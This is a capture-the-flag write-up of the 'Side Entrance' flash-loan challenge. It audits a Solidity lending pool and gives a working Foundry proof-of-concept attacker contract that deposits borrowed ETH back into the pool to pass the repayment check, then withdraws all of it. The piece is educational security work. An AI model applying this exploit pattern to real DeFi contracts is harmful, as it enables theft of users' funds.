Side Entrance

Description

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

TL;DR

We can borrow flashloan and immediately deposit the money you just borrowed into the same contract. By doing so, the invariant in flashLoan() is bypassed and we can withdraw balance later.

Code Audit

The contract implements 3 functions:

  • deposit()

  • withdraw()

  • flashLoan()

deposit() function:

function deposit() external payable {
    unchecked {
        balances[msg.sender] += msg.value;
    }
    emit Deposit(msg.sender, msg.value);
}

Looks ok.

withdraw() function:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    
    delete balances[msg.sender];
    emit Withdraw(msg.sender, amount);

    SafeTransferLib.safeTransferETH(msg.sender, amount);
}

Follows checks-effects-interactions pattern, looks ok.

flashLoan() function:

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}

At IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() we can call flashLoan() to borrow all the fund in this pool. Next we have to find out a way to bypass the check:

if (address(this).balance < balanceBefore)
    revert RepayFailed();

This check can be bypassed by calling deposit() once we receive the flash loan. The attack steps:

  • The attack contract's pwn() function calls flashLoan() to borrow all the fund in the pool. In this step IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() will be called.

  • In attack contract's execute() function call deposit() to deposit the flash loan we just borrowed. At this stage the if (address(this).balance < balanceBefore) check will be bypassed because the borrowed money was deposited into the same contract, therefore address(this).balance == balanceBefore.

  • When flashLoan() finishes executing, call withdraw() to take all the money out.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {SideEntranceLenderPool} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol";

contract SideEntrance is Test {
    uint256 internal constant ETHER_IN_POOL = 1_000e18;

    Utilities internal utils;
    SideEntranceLenderPool internal sideEntranceLenderPool;
    address payable internal attacker;
    uint256 public attackerInitialEthBalance;

    function setUp() public {
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];
        vm.label(attacker, "Attacker");

        sideEntranceLenderPool = new SideEntranceLenderPool();
        vm.label(address(sideEntranceLenderPool), "Side Entrance Lender Pool");

        vm.deal(address(sideEntranceLenderPool), ETHER_IN_POOL);

        assertEq(address(sideEntranceLenderPool).balance, ETHER_IN_POOL);

        attackerInitialEthBalance = address(attacker).balance;

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        FlashLoanEtherReceiver flashLoanEtherReceiver = new FlashLoanEtherReceiver(sideEntranceLenderPool);
        flashLoanEtherReceiver.pwn();
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        assertEq(address(sideEntranceLenderPool).balance, 0);
        assertGt(attacker.balance, attackerInitialEthBalance);
    }
}

contract FlashLoanEtherReceiver {
    SideEntranceLenderPool sideEntranceLenderPool;
    address owner;

    constructor(SideEntranceLenderPool _sideEntranceLenderPool) {
        owner = msg.sender;
        sideEntranceLenderPool = _sideEntranceLenderPool;
    }

    function execute() external payable {
        require(msg.sender == address(sideEntranceLenderPool), "only pool can call this function");
        sideEntranceLenderPool.deposit{value: msg.value}();
    }

    function pwn() external {
        require(msg.sender == owner, "only owner can call this function");
        sideEntranceLenderPool.flashLoan(address(sideEntranceLenderPool).balance);

        // We have deposited all the flashloan we borrowed inside execute(),
        // so we have lots of balance at this stage
        sideEntranceLenderPool.withdraw();
        payable(owner).transfer(address(this).balance);
    }

    receive () external payable {}
}

Last updated